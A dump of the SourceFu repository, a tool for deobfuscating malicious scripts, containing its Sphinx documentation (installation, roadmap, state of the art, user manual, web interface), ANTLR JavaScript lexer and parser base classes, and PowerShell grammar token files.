-------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/source/imgs/cuckoo.png -------------------------------------------------------------------------------- /docs/source/imgs/rage.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/source/imgs/rage.jpg -------------------------------------------------------------------------------- /docs/source/imgs/sourcefu_exemple.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/source/imgs/sourcefu_exemple.gif -------------------------------------------------------------------------------- /docs/source/imgs/sourcefu_java_vs_python.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/source/imgs/sourcefu_java_vs_python.png -------------------------------------------------------------------------------- /docs/source/imgs/sourcefu_java_vs_python2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/source/imgs/sourcefu_java_vs_python2.png -------------------------------------------------------------------------------- /docs/source/imgs/webserver-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/source/imgs/webserver-1.png -------------------------------------------------------------------------------- /docs/source/imgs/webserver-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/source/imgs/webserver-2.png -------------------------------------------------------------------------------- /docs/source/imgs/webserver-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/source/imgs/webserver-3.png -------------------------------------------------------------------------------- /docs/source/imgs/webserver-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/source/imgs/webserver-4.png -------------------------------------------------------------------------------- /docs/source/index.rst: -------------------------------------------------------------------------------- 1 | .. SourceFu documentation master file, created by 2 | sphinx-quickstart on Thu Jul 20 13:55:24 2017. 3 | You can adapt this file completely to your liking, but it should at least 4 | contain the root `toctree` directive. 5 | 6 | Welcome to SourceFu's documentation! 7 | ==================================== 8 | 9 | .. toctree:: 10 | :maxdepth: 2 11 | :caption: Contents: 12 | 13 | introduction 14 | some state of the art 15 | installation 16 | quickstart 17 | user manual 18 | functioning 19 | planned features 20 | releases 21 | contributing guide 22 | development guide 23 | 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /docs/source/installation.rst: -------------------------------------------------------------------------------- 1 | Installation 2 | ************ 3 | 4 | .. warning:: SourceFu has only been used for now on Linux, and does not provide much configuration. As such, only the command line part of SourceFu is officially supported to work on Windows. For a full working solution on Windows, the following instructions should be adapted by the fellowed reader 5 | 6 | CLI 7 | ==== 8 | 9 | SourceFu comes as a full packaged jar file. As such, all you have to do to get SourceFu CLI running is a java-runtime on your machine to launch the jar file. To do so, use your favorite package manager and use the command : 10 | 11 | .. code-block:: none 12 | 13 | $ sudo install openjdk--jre 14 | 15 | You should now be able to get SourceFu by using this command: 16 | 17 | .. code-block:: none 18 | 19 | $ wget https://github.com/Big5-sec/SourceFu/releases/download/Development/sourcefu-latest.jar 20 | 21 | 22 | And finally, here is how to launch SourceFu: 23 | 24 | .. code-block:: none 25 | 26 | $ java -jar sourcefu-latest.jar --help 27 | 28 | 29 | .. note:: to add SourceFu to your path, the best is to copy SourceFu in your /bin directory, then create a bash wrapper in this directory with the command above 30 | 31 | 32 | API server & webserver 33 | ====================== 34 | 35 | To keep track of analyses and such across utilization, those two subcommands of SourceFu require a MongoDB database listening on the default port 27017 on localhost. 36 | 37 | To have MongoDB running, please follow your distribution recommandations (it would be a bit out of scope right now). For Ubuntu, it's as simple as the following: 38 | 39 | .. code-block:: none 40 | 41 | $ sudo apt install mongodb 42 | 43 | You can then check MongoDB service status, and run the following to make sure your mongo is up : 44 | 45 | .. code-block:: none 46 | 47 | $ mongo --eval 'db.runCommand({ connectionStatus: 1 })' 48 | 49 | 50 | You can now launch SourceFu API server, and check for a line like :: 51 | 52 | [qtp35369880-16] INFO org.mongodb.driver.connection - Opened connection [connectionId{localValue:2, serverValue:44}] to localhost:27017 53 | 54 | If this line is present, well, the connection to database is correct! You're now able to use all other modes of SourceFu. 55 | 56 | webserver 57 | ========= 58 | 59 | The current state of SourceFu's webserver requires the use of internet, in order for example to get Bootstrap CSS. This might change in the future... 60 | -------------------------------------------------------------------------------- /docs/source/planned features.rst: -------------------------------------------------------------------------------- 1 | Roadmap 2 | ******* 3 | 4 | Roadmap 5 | ------- 6 | To be honest, there is so much to do that i can't write a roadmap at the moment.... 7 | 8 | 9 | Ideas 10 | ----- 11 | 12 | core 13 | ~~~~ 14 | - always improve code support and deobfusactions routines!!! 15 | - full interpretation : go further for loops and functions interpretation for example 16 | - make analysis like vipermonkey, jsdetox, 17 | - functions inlining 18 | - spaghetti code simplification by basic block tagging 19 | - add support for basic (autoit), and others? 20 | - might be interesting to go further for another langages like python (beh bytecode editing?) 21 | - might propose it to cuckoo when the tool will be quite correct? 22 | - variables renaming based on context 23 | - how to make the diff between optimization and vizualization of code? 24 | - automatically determine if comments are helpful or not? 25 | - automatically recovers elements caracterizing anti-debug and such 26 | - support multiple languages in the same code, like for example when a VBA macro calls an obfuscated Powershell... 27 | - support directly files instead of code (like office ones) 28 | - code formatting and commenting 29 | - add tests, to serve as a basis and an improve point 30 | - javascript support 31 | - powershell support 32 | - vba: object, tables, constant return functions and such 33 | 34 | API server 35 | ~~~~~~~~~~ 36 | - makes it more unified 37 | - change languages and operations detection 38 | 39 | 40 | web interface 41 | ~~~~~~~~~~~~~ 42 | - maybe separate it from api server 43 | - full featured IDE like 44 | - add more properties to the IDE, like direct interaction with picked token (renaming, invoking special routines, etc...) 45 | - add plugins like VT, yara and such 46 | 47 | 48 | tests 49 | ~~~~~ 50 | - make tests for everything 51 | - gather multiple samples on the web 52 | 53 | 54 | documentation 55 | ~~~~~~~~~~~~~ 56 | 57 | 58 | 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /docs/source/releases.rst: -------------------------------------------------------------------------------- 1 | Releases 2 | ******** 3 | 4 | For now SourceFu can't be used as an industrial product. As such, SourceFu will follow a mensual release schedule. At each release, the version is incremented by 0.01. 5 | 6 | Versioning will be reconsidered when SourceFu will reach a stable state. 7 | -------------------------------------------------------------------------------- /docs/source/some state of the art.rst: -------------------------------------------------------------------------------- 1 | Some state of the art 2 | ********************* 3 | 4 | Automatic deobfuscation of source code is not an easy subject. Basically, almost all tools that exist do either the following: 5 | 6 | - a runtime deobfuscation. The idea is basically to run the sample in a sandboxed environment, and use instrumentation to extract interesting information. A simple example is to execute some javascript in a sandboxed environment and replace calls to *eval* function with *alert* or *console.log*. A more advanced example seems to be the AMSI interface of Windows, that seems to provide somehow every call to function with their arguments. An another example (and a great project) is the Vipermonkey project from @decalage2. The idea is to extract every potential interesting calls to functions known to be used in malicious documents and to see their arguments. 7 | - a static deobfuscation based on beautifying and regexes replacement. A good example is the powershell deobfuscator made by endgame (unfortunately not open sourced). 8 | 9 | In the first case, the source code cannot be interacted directly with (what about running yara huh?). It means also that you almost needs an analysis environment capable of interacting with the analyzed language. As such, those tools are often coded in the same language than the one inspected. Also, potentially, a tool can auto-pown itself as code stay executed. 10 | 11 | In the second case, it appears that most of the time those tools do not provide good enough results. 12 | 13 | In order to overcome those caveats, some people proposed to use what is called partial evaluation. The idea for that is to interpret only tiny pieces of a whole AST of the languages, and then modify it to have a more compact AST. It should also provide static transformations not based on the interpretation to simplify the code. Indeed, it avoids a complete interpretation, prone to errors, and avoids potential faults in regexes. This process can also be multi-pass, in order to overcome a multi-layer approach. 14 | 15 | A deobfuscator based on partial evaluation will do things like : 16 | 17 | - dead code elimination 18 | - basic constant folding 19 | - expressions simplification 20 | 21 | Some tools aim at providing such an analysis. Those are JSDetox and JStillery, for javascript only. 22 | 23 | Unfortunately, no other languages have tools that do so. SourceFu aims so at providing a generic tool to answer this caveat, while providing a better deobfuscation framework. 24 | 25 | 26 | -------------------------------------------------------------------------------- /docs/source/user manual.rst: -------------------------------------------------------------------------------- 1 | User manual 2 | *********** 3 | 4 | .. |br| raw:: html 5 | 6 |
7 | 8 | SourceFu provides 3 different ways of working : 9 | 10 | - The first one is the command line interface. Basically, it's a way to invoke direclty SourceFu's routines. Here, no database is used and you have to use files redirection to make sure you keep a trace of modifications made. It's invoked by calling : 11 | 12 | .. code-block:: none 13 | 14 | $ java -jar sourcefu.jar standalone 15 | 16 | A full list of options are presented in the :doc:`underlying manual` 17 | 18 | |br| 19 | - The second one is the API server, using a database allowing us to keep a track of modifications done on samples. By using the provided :doc:`API`, you can code your own tools to interact with SourceFu. It's invoked by : 20 | 21 | .. code-block:: none 22 | 23 | $ java -jar sourcefu.jar apiserver 24 | 25 | |br| 26 | - Finally, the :doc:`web interface` is a way to interact with SourceFu with a user interface, making it more friendly to use. Before using this option, you should make sure to have followed installation instructions. To start the web server, simply enter : 27 | 28 | .. code-block:: none 29 | 30 | $ java -jar sourcefu.jar webserver 31 | 32 | Then, navigates to the following address: ``http://localhost:4567/`` 33 | 34 | |br| 35 | Here are the links to the associated user manuals : 36 | 37 | .. toctree:: 38 | command line interface 39 | API server 40 | web interface 41 | 42 | 43 | -------------------------------------------------------------------------------- /docs/source/web interface.rst: -------------------------------------------------------------------------------- 1 | Web interface 2 | ************* 3 | 4 | This page presents how to use the web interface of SourceFu. 5 | 6 | On accessing the home page, you're presented with the following : 7 | 8 | .. image:: imgs/webserver-1.png 9 | :scale: 40% 10 | :align: center 11 | 12 | Here, it's basically a simple list of all your analyses, with buttons to interact with them. The first button (the gearing) is here to access the parameters of the analysis. However, be aware that the underlying page is not finished nor functional at this time. The second button permits to delete the analysis from the database. Finally, the final button permits to enter into the analysis. Please note that the title in the dark bar permits to go back to this page. 13 | 14 | By clicking the blue button on the right upper side, you can create a new analysis. You're given for this the following form : 15 | 16 | .. image:: imgs/webserver-2.png 17 | :scale: 40% 18 | :align: center 19 | 20 | 21 | On the following form, there two points to note : 22 | - the radio button is not working for now. There won't be analysis launched directly. 23 | - When you're selecting the language of the sample, SourceFu might try to detect it by itself. Be aware that this option may not work due to the way SourceFu makes his analysis. As such, if you're getting an error by selecting "Try to auto-determine", you may try to force the language by setting it expressively. 24 | 25 | 26 | When you go into an analysis, you're presented the following : 27 | 28 | .. image:: imgs/webserver-3.png 29 | :scale: 40% 30 | :align: center 31 | 32 | 33 | This first page is here simply to present some information on the analysis. *Original* stands for the original code, *deobfuscated* is not implemented for now, so don't care, and *current step* represents the code of the current step of the analysis. 34 | 35 | On tabs, the only one interesting for now is work view: 36 | 37 | .. image:: imgs/webserver-4.png 38 | :scale: 40% 39 | :align: center 40 | 41 | In this view, you're presented with an editor at the top, where you can manaually edit files. The *operations* part below permits to launch deobfuscation operations from SourceFu. Simply select the operation you want to be run on the code from the editor, and you're set. Finally, buttons regarding steps permit to set a new step of the analysis, or to load a previous defined step. 42 | -------------------------------------------------------------------------------- /grammars/JavaScript/superclass/JavaScriptBaseLexer.java: -------------------------------------------------------------------------------- 1 | import org.antlr.v4.runtime.*; 2 | 3 | import java.util.Stack; 4 | 5 | /** 6 | * All lexer methods that used in grammar (IsStrictMode) 7 | * should start with Upper Case Char similar to Lexer rules. 8 | */ 9 | public abstract class JavaScriptBaseLexer extends Lexer 10 | { 11 | /** 12 | * Stores values of nested modes. By default mode is strict or 13 | * defined externally (useStrictDefault) 14 | */ 15 | private Stack scopeStrictModes = new Stack(); 16 | 17 | private Token lastToken = null; 18 | /** 19 | * Default value of strict mode 20 | * Can be defined externally by setUseStrictDefault 21 | */ 22 | private boolean useStrictDefault = false; 23 | /** 24 | * Current value of strict mode 25 | * Can be defined during parsing, see StringFunctions.js and StringGlobal.js samples 26 | */ 27 | private boolean useStrictCurrent = false; 28 | 29 | public JavaScriptBaseLexer(CharStream input) { 30 | super(input); 31 | } 32 | 33 | public boolean getStrictDefault() { 34 | return useStrictDefault; 35 | } 36 | 37 | public void setUseStrictDefault(boolean value) { 38 | useStrictDefault = value; 39 | useStrictCurrent = value; 40 | } 41 | 42 | public boolean IsSrictMode() { 43 | return useStrictCurrent; 44 | } 45 | 46 | /** 47 | * Return the next token from the character stream and records this last 48 | * token in case it resides on the default channel. This recorded token 49 | * is used to determine when the lexer could possibly match a regex 50 | * literal. Also changes scopeStrictModes stack if tokenize special 51 | * string 'use strict'; 52 | * 53 | * @return the next token from the character stream. 54 | */ 55 | @Override 56 | public Token nextToken() { 57 | Token next = super.nextToken(); 58 | 59 | if (next.getChannel() == Token.DEFAULT_CHANNEL) { 60 | // Keep track of the last token on the default channel. 61 | this.lastToken = next; 62 | } 63 | 64 | return next; 65 | } 66 | 67 | protected void ProcessOpenBrace() 68 | { 69 | useStrictCurrent = scopeStrictModes.size() > 0 && scopeStrictModes.peek() ? true : useStrictDefault; 70 | scopeStrictModes.push(useStrictCurrent); 71 | } 72 | 73 | protected void ProcessCloseBrace() 74 | { 75 | useStrictCurrent = scopeStrictModes.size() > 0 ? scopeStrictModes.pop() : useStrictDefault; 76 | } 77 | 78 | protected void ProcessStringLiteral() 79 | { 80 | if (lastToken == null || lastToken.getType() == JavaScriptLexer.OpenBrace) 81 | { 82 | String text = getText(); 83 | if (text.equals("\"use strict\"") || text.equals("'use strict'")) 84 | { 85 | if (scopeStrictModes.size() > 0) 86 | scopeStrictModes.pop(); 87 | useStrictCurrent = true; 88 | scopeStrictModes.push(useStrictCurrent); 89 | } 90 | } 91 | } 92 | 93 | /** 94 | * Returns {@code true} if the lexer can match a regex literal. 95 | */ 96 | protected boolean IsRegexPossible() { 97 | 98 | if (this.lastToken == null) { 99 | // No token has been produced yet: at the start of the input, 100 | // no division is possible, so a regex literal _is_ possible. 101 | return true; 102 | } 103 | 104 | switch (this.lastToken.getType()) { 105 | case JavaScriptLexer.Identifier: 106 | case JavaScriptLexer.NullLiteral: 107 | case JavaScriptLexer.BooleanLiteral: 108 | case JavaScriptLexer.This: 109 | case JavaScriptLexer.CloseBracket: 110 | case JavaScriptLexer.CloseParen: 111 | case JavaScriptLexer.OctalIntegerLiteral: 112 | case JavaScriptLexer.DecimalLiteral: 113 | case JavaScriptLexer.HexIntegerLiteral: 114 | case JavaScriptLexer.StringLiteral: 115 | case JavaScriptLexer.PlusPlus: 116 | case JavaScriptLexer.MinusMinus: 117 | // After any of the tokens above, no regex literal can follow. 118 | return false; 119 | default: 120 | // In all other cases, a regex literal _is_ possible. 121 | return true; 122 | } 123 | } 124 | } -------------------------------------------------------------------------------- /grammars/JavaScript/superclass/JavaScriptBaseParser.java: -------------------------------------------------------------------------------- 1 | import org.antlr.v4.runtime.*; 2 | 3 | /** 4 | * All parser methods that used in grammar (p, prev, notLineTerminator, etc.) 5 | * should start with lower case char similar to parser rules. 6 | */ 7 | public abstract class JavaScriptBaseParser extends Parser 8 | { 9 | public JavaScriptBaseParser(TokenStream input) { 10 | super(input); 11 | } 12 | 13 | /** 14 | * Short form for prev(String str) 15 | */ 16 | protected boolean p(String str) { 17 | return prev(str); 18 | } 19 | 20 | /** 21 | * Whether the previous token value equals to @param str 22 | */ 23 | protected boolean prev(String str) { 24 | return _input.LT(-1).getText().equals(str); 25 | } 26 | 27 | /** 28 | * Short form for next(String str) 29 | */ 30 | protected boolean n(String str) { 31 | return next(str); 32 | } 33 | 34 | /** 35 | * Whether the next token value equals to @param str 36 | */ 37 | protected boolean next(String str) { 38 | return _input.LT(1).getText().equals(str); 39 | } 40 | 41 | protected boolean notLineTerminator() { 42 | return !here(JavaScriptParser.LineTerminator); 43 | } 44 | 45 | protected boolean notOpenBraceAndNotFunction() { 46 | int nextTokenType = _input.LT(1).getType(); 47 | return nextTokenType != JavaScriptParser.OpenBrace && nextTokenType != JavaScriptParser.Function; 48 | } 49 | 50 | protected boolean closeBrace() { 51 | return _input.LT(1).getType() == JavaScriptParser.CloseBrace; 52 | } 53 | 54 | /** 55 | * Returns {@code true} iff on the current index of the parser's 56 | * token stream a token of the given {@code type} exists on the 57 | * {@code HIDDEN} channel. 58 | * 59 | * @param type 60 | * the type of the token on the {@code HIDDEN} channel 61 | * to check. 62 | * 63 | * @return {@code true} iff on the current index of the parser's 64 | * token stream a token of the given {@code type} exists on the 65 | * {@code HIDDEN} channel. 66 | */ 67 | private boolean here(final int type) { 68 | 69 | // Get the token ahead of the current index. 70 | int possibleIndexEosToken = this.getCurrentToken().getTokenIndex() - 1; 71 | Token ahead = _input.get(possibleIndexEosToken); 72 | 73 | // Check if the token resides on the HIDDEN channel and if it's of the 74 | // provided type. 75 | return (ahead.getChannel() == Lexer.HIDDEN) && (ahead.getType() == type); 76 | } 77 | 78 | /** 79 | * Returns {@code true} iff on the current index of the parser's 80 | * token stream a token exists on the {@code HIDDEN} channel which 81 | * either is a line terminator, or is a multi line comment that 82 | * contains a line terminator. 83 | * 84 | * @return {@code true} iff on the current index of the parser's 85 | * token stream a token exists on the {@code HIDDEN} channel which 86 | * either is a line terminator, or is a multi line comment that 87 | * contains a line terminator. 88 | */ 89 | protected boolean lineTerminatorAhead() { 90 | 91 | // Get the token ahead of the current index. 92 | int possibleIndexEosToken = this.getCurrentToken().getTokenIndex() - 1; 93 | Token ahead = _input.get(possibleIndexEosToken); 94 | 95 | if (ahead.getChannel() != Lexer.HIDDEN) { 96 | // We're only interested in tokens on the HIDDEN channel. 97 | return false; 98 | } 99 | 100 | if (ahead.getType() == JavaScriptParser.LineTerminator) { 101 | // There is definitely a line terminator ahead. 102 | return true; 103 | } 104 | 105 | if (ahead.getType() == JavaScriptParser.WhiteSpaces) { 106 | // Get the token ahead of the current whitespaces. 107 | possibleIndexEosToken = this.getCurrentToken().getTokenIndex() - 2; 108 | ahead = _input.get(possibleIndexEosToken); 109 | } 110 | 111 | // Get the token's text and type. 112 | String text = ahead.getText(); 113 | int type = ahead.getType(); 114 | 115 | // Check if the token is, or contains a line terminator. 116 | return (type == JavaScriptParser.MultiLineComment && (text.contains("\r") || text.contains("\n"))) || 117 | (type == JavaScriptParser.LineTerminator); 118 | } 119 | } -------------------------------------------------------------------------------- /grammars/Powershell/Powershell.tokens: -------------------------------------------------------------------------------- 1 | T__0=1 2 | T__1=2 3 | T__2=3 4 | T__3=4 5 | T__4=5 6 | T__5=6 7 | T__6=7 8 | T__7=8 9 | T__8=9 10 | T__9=10 11 | T__10=11 12 | T__11=12 13 | T__12=13 14 | T__13=14 15 | T__14=15 16 | T__15=16 17 | T__16=17 18 | T__17=18 19 | T__18=19 20 | T__19=20 21 | T__20=21 22 | T__21=22 23 | T__22=23 24 | T__23=24 25 | T__24=25 26 | T__25=26 27 | T__26=27 28 | T__27=28 29 | T__28=29 30 | T__29=30 31 | T__30=31 32 | T__31=32 33 | T__32=33 34 | T__33=34 35 | T__34=35 36 | T__35=36 37 | T__36=37 38 | T__37=38 39 | T__38=39 40 | T__39=40 41 | T__40=41 42 | T__41=42 43 | T__42=43 44 | T__43=44 45 | T__44=45 46 | T__45=46 47 | T__46=47 48 | T__47=48 49 | T__48=49 50 | T__49=50 51 | T__50=51 52 | T__51=52 53 | T__52=53 54 | T__53=54 55 | T__54=55 56 | T__55=56 57 | T__56=57 58 | T__57=58 59 | T__58=59 60 | T__59=60 61 | T__60=61 62 | T__61=62 63 | T__62=63 64 | T__63=64 65 | T__64=65 66 | T__65=66 67 | T__66=67 68 | T__67=68 69 | T__68=69 70 | T__69=70 71 | T__70=71 72 | T__71=72 73 | T__72=73 74 | T__73=74 75 | T__74=75 76 | T__75=76 77 | T__76=77 78 | T__77=78 79 | T__78=79 80 | T__79=80 81 | T__80=81 82 | T__81=82 83 | T__82=83 84 | T__83=84 85 | T__84=85 86 | T__85=86 87 | T__86=87 88 | T__87=88 89 | T__88=89 90 | T__89=90 91 | T__90=91 92 | T__91=92 93 | T__92=93 94 | T__93=94 95 | T__94=95 96 | T__95=96 97 | T__96=97 98 | T__97=98 99 | T__98=99 100 | T__99=100 101 | MultiLineComment=101 102 | SingleLineComment=102 103 | WhiteSpaces=103 104 | FORMATOPERATOR=104 105 | VARIABLE=105 106 | COMMANDPARAMETER=106 107 | DEQ=107 108 | DNE=108 109 | DGE=109 110 | DGT=110 111 | DLT=111 112 | DLE=112 113 | DIEQ=113 114 | DINE=114 115 | DIGE=115 116 | DIGT=116 117 | DILT=117 118 | DILE=118 119 | DCEQ=119 120 | DCNE=120 121 | DCGE=121 122 | DCGT=122 123 | DCLT=123 124 | CLE=124 125 | DLIKE=125 126 | DNOTLIKE=126 127 | DMATCH=127 128 | DNOTMATCH=128 129 | DILIKE=129 130 | DINOTLIKE=130 131 | DIMATCH=131 132 | DINOTMATCH=132 133 | DCLIKE=133 134 | DCNOTLIKE=134 135 | DCMATCH=135 136 | DCNOTMATCH=136 137 | DCONTAINS=137 138 | DNOTCONTAINS=138 139 | DICONTAINS=139 140 | DINOTCONTAINS=140 141 | DCCONTAINS=141 142 | DCNOTCONTAINS=142 143 | DISNOT=143 144 | DIS=144 145 | DAS=145 146 | DREPLACE=146 147 | DIREPLACE=147 148 | DCREPLACE=148 149 | STATEMENTTERMINATOR=149 150 | NEWLINES=150 151 | STRINGLITERAL=151 152 | STRINGLITERALWITHSUBEXPRESSION=152 153 | GENERICTOKENWITHSUBEXPRSTART=153 154 | TYPENAMEIDENTIFIERCHAR=154 155 | TYPELITERAL=155 156 | LABEL=156 157 | LITERAL=157 158 | SIMPLENAME=158 159 | PROPERTYNAME=159 160 | ','=1 161 | '='=2 162 | '['=3 163 | '('=4 164 | ')'=5 165 | ']'=6 166 | '.'=7 167 | '+'=8 168 | '{'=9 169 | '}'=10 170 | 'break'=11 171 | 'continue'=12 172 | 'throw'=13 173 | 'return'=14 174 | 'exit'=15 175 | 'if'=16 176 | 'elseif'=17 177 | 'else'=18 178 | 'switch'=19 179 | '-regex'=20 180 | '-wildcard'=21 181 | '-exact'=22 182 | '-casesensitive'=23 183 | '-parallel'=24 184 | '-file'=25 185 | 'configuration'=26 186 | 'foreach'=27 187 | 'in'=28 188 | '-throttelimit'=29 189 | 'for'=30 190 | 'while'=31 191 | 'do'=32 192 | 'until'=33 193 | 'class'=34 194 | ':'=35 195 | 'static'=36 196 | 'hidden'=37 197 | 'enum'=38 198 | 'base'=39 199 | 'function'=40 200 | 'filter'=41 201 | 'workflow'=42 202 | 'trap'=43 203 | 'try'=44 204 | 'catch'=45 205 | 'finally'=46 206 | 'data'=47 207 | '-suportedcommand'=48 208 | '|'=49 209 | '&'=50 210 | '::'=51 211 | '-join'=52 212 | '-split'=53 213 | '++'=54 214 | '--'=55 215 | '-'=56 216 | '-not'=57 217 | '-bnot'=58 218 | '!'=59 219 | '..'=60 220 | '*'=61 221 | '/'=62 222 | '%'=63 223 | '-bxor'=64 224 | '-bor'=65 225 | '-band'=66 226 | '-xor'=67 227 | '-or'=68 228 | '-and'=69 229 | 'dynamicparam'=70 230 | 'begin'=71 231 | 'process'=72 232 | 'end'=73 233 | '+='=74 234 | '-='=75 235 | '*='=76 236 | '/='=77 237 | '%='=78 238 | '2>&1'=79 239 | '3>&1'=80 240 | '4>&1'=81 241 | '5>&1'=82 242 | '6>&1'=83 243 | '1>&2'=84 244 | '>>'=85 245 | '>'=86 246 | '<<'=87 247 | '<'=88 248 | '>|'=89 249 | '2>'=90 250 | '2>>'=91 251 | '1>>'=92 252 | '3>'=93 253 | '3>>'=94 254 | '4>'=95 255 | '4>>'=96 256 | '5>'=97 257 | '5>>'=98 258 | '*>'=99 259 | '*>>'=100 260 | '-f'=104 261 | '$('=153 262 | -------------------------------------------------------------------------------- /grammars/Powershell/PowershellLexer.tokens: -------------------------------------------------------------------------------- 1 | T__0=1 2 | T__1=2 3 | T__2=3 4 | T__3=4 5 | T__4=5 6 | T__5=6 7 | T__6=7 8 | T__7=8 9 | T__8=9 10 | T__9=10 11 | T__10=11 12 | T__11=12 13 | T__12=13 14 | T__13=14 15 | T__14=15 16 | T__15=16 17 | T__16=17 18 | T__17=18 19 | T__18=19 20 | T__19=20 21 | T__20=21 22 | T__21=22 23 | T__22=23 24 | T__23=24 25 | T__24=25 26 | T__25=26 27 | T__26=27 28 | T__27=28 29 | T__28=29 30 | T__29=30 31 | T__30=31 32 | T__31=32 33 | T__32=33 34 | T__33=34 35 | T__34=35 36 | T__35=36 37 | T__36=37 38 | T__37=38 39 | T__38=39 40 | T__39=40 41 | T__40=41 42 | T__41=42 43 | T__42=43 44 | T__43=44 45 | T__44=45 46 | T__45=46 47 | T__46=47 48 | T__47=48 49 | T__48=49 50 | T__49=50 51 | T__50=51 52 | T__51=52 53 | T__52=53 54 | T__53=54 55 | T__54=55 56 | T__55=56 57 | T__56=57 58 | T__57=58 59 | T__58=59 60 | T__59=60 61 | T__60=61 62 | T__61=62 63 | T__62=63 64 | T__63=64 65 | T__64=65 66 | T__65=66 67 | T__66=67 68 | T__67=68 69 | T__68=69 70 | T__69=70 71 | T__70=71 72 | T__71=72 73 | T__72=73 74 | T__73=74 75 | T__74=75 76 | T__75=76 77 | T__76=77 78 | T__77=78 79 | T__78=79 80 | T__79=80 81 | T__80=81 82 | T__81=82 83 | T__82=83 84 | T__83=84 85 | T__84=85 86 | T__85=86 87 | T__86=87 88 | T__87=88 89 | T__88=89 90 | T__89=90 91 | T__90=91 92 | T__91=92 93 | T__92=93 94 | T__93=94 95 | T__94=95 96 | T__95=96 97 | T__96=97 98 | T__97=98 99 | T__98=99 100 | T__99=100 101 | MultiLineComment=101 102 | SingleLineComment=102 103 | WhiteSpaces=103 104 | FORMATOPERATOR=104 105 | VARIABLE=105 106 | COMMANDPARAMETER=106 107 | DEQ=107 108 | DNE=108 109 | DGE=109 110 | DGT=110 111 | DLT=111 112 | DLE=112 113 | DIEQ=113 114 | DINE=114 115 | DIGE=115 116 | DIGT=116 117 | DILT=117 118 | DILE=118 119 | DCEQ=119 120 | DCNE=120 121 | DCGE=121 122 | DCGT=122 123 | DCLT=123 124 | CLE=124 125 | DLIKE=125 126 | DNOTLIKE=126 127 | DMATCH=127 128 | DNOTMATCH=128 129 | DILIKE=129 130 | DINOTLIKE=130 131 | DIMATCH=131 132 | DINOTMATCH=132 133 | DCLIKE=133 134 | DCNOTLIKE=134 135 | DCMATCH=135 136 | DCNOTMATCH=136 137 | DCONTAINS=137 138 | DNOTCONTAINS=138 139 | DICONTAINS=139 140 | DINOTCONTAINS=140 141 | DCCONTAINS=141 142 | DCNOTCONTAINS=142 143 | DISNOT=143 144 | DIS=144 145 | DAS=145 146 | DREPLACE=146 147 | DIREPLACE=147 148 | DCREPLACE=148 149 | STATEMENTTERMINATOR=149 150 | NEWLINES=150 151 | STRINGLITERAL=151 152 | STRINGLITERALWITHSUBEXPRESSION=152 153 | GENERICTOKENWITHSUBEXPRSTART=153 154 | TYPENAMEIDENTIFIERCHAR=154 155 | TYPELITERAL=155 156 | LABEL=156 157 | LITERAL=157 158 | SIMPLENAME=158 159 | PROPERTYNAME=159 160 | ','=1 161 | '='=2 162 | '['=3 163 | '('=4 164 | ')'=5 165 | ']'=6 166 | '.'=7 167 | '+'=8 168 | '{'=9 169 | '}'=10 170 | 'break'=11 171 | 'continue'=12 172 | 'throw'=13 173 | 'return'=14 174 | 'exit'=15 175 | 'if'=16 176 | 'elseif'=17 177 | 'else'=18 178 | 'switch'=19 179 | '-regex'=20 180 | '-wildcard'=21 181 | '-exact'=22 182 | '-casesensitive'=23 183 | '-parallel'=24 184 | '-file'=25 185 | 'configuration'=26 186 | 'foreach'=27 187 | 'in'=28 188 | '-throttelimit'=29 189 | 'for'=30 190 | 'while'=31 191 | 'do'=32 192 | 'until'=33 193 | 'class'=34 194 | ':'=35 195 | 'static'=36 196 | 'hidden'=37 197 | 'enum'=38 198 | 'base'=39 199 | 'function'=40 200 | 'filter'=41 201 | 'workflow'=42 202 | 'trap'=43 203 | 'try'=44 204 | 'catch'=45 205 | 'finally'=46 206 | 'data'=47 207 | '-suportedcommand'=48 208 | '|'=49 209 | '&'=50 210 | '::'=51 211 | '-join'=52 212 | '-split'=53 213 | '++'=54 214 | '--'=55 215 | '-'=56 216 | '-not'=57 217 | '-bnot'=58 218 | '!'=59 219 | '..'=60 220 | '*'=61 221 | '/'=62 222 | '%'=63 223 | '-bxor'=64 224 | '-bor'=65 225 | '-band'=66 226 | '-xor'=67 227 | '-or'=68 228 | '-and'=69 229 | 'dynamicparam'=70 230 | 'begin'=71 231 | 'process'=72 232 | 'end'=73 233 | '+='=74 234 | '-='=75 235 | '*='=76 236 | '/='=77 237 | '%='=78 238 | '2>&1'=79 239 | '3>&1'=80 240 | '4>&1'=81 241 | '5>&1'=82 242 | '6>&1'=83 243 | '1>&2'=84 244 | '>>'=85 245 | '>'=86 246 | '<<'=87 247 | '<'=88 248 | '>|'=89 249 | '2>'=90 250 | '2>>'=91 251 | '1>>'=92 252 | '3>'=93 253 | '3>>'=94 254 | '4>'=95 255 | '4>>'=96 256 | '5>'=97 257 | '5>>'=98 258 | '*>'=99 259 | '*>>'=100 260 | '-f'=104 261 | '$('=153 262 | -------------------------------------------------------------------------------- /grammars/Powershell/gg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/grammars/Powershell/gg -------------------------------------------------------------------------------- /grammars/Powershell/see.txt.error: -------------------------------------------------------------------------------- 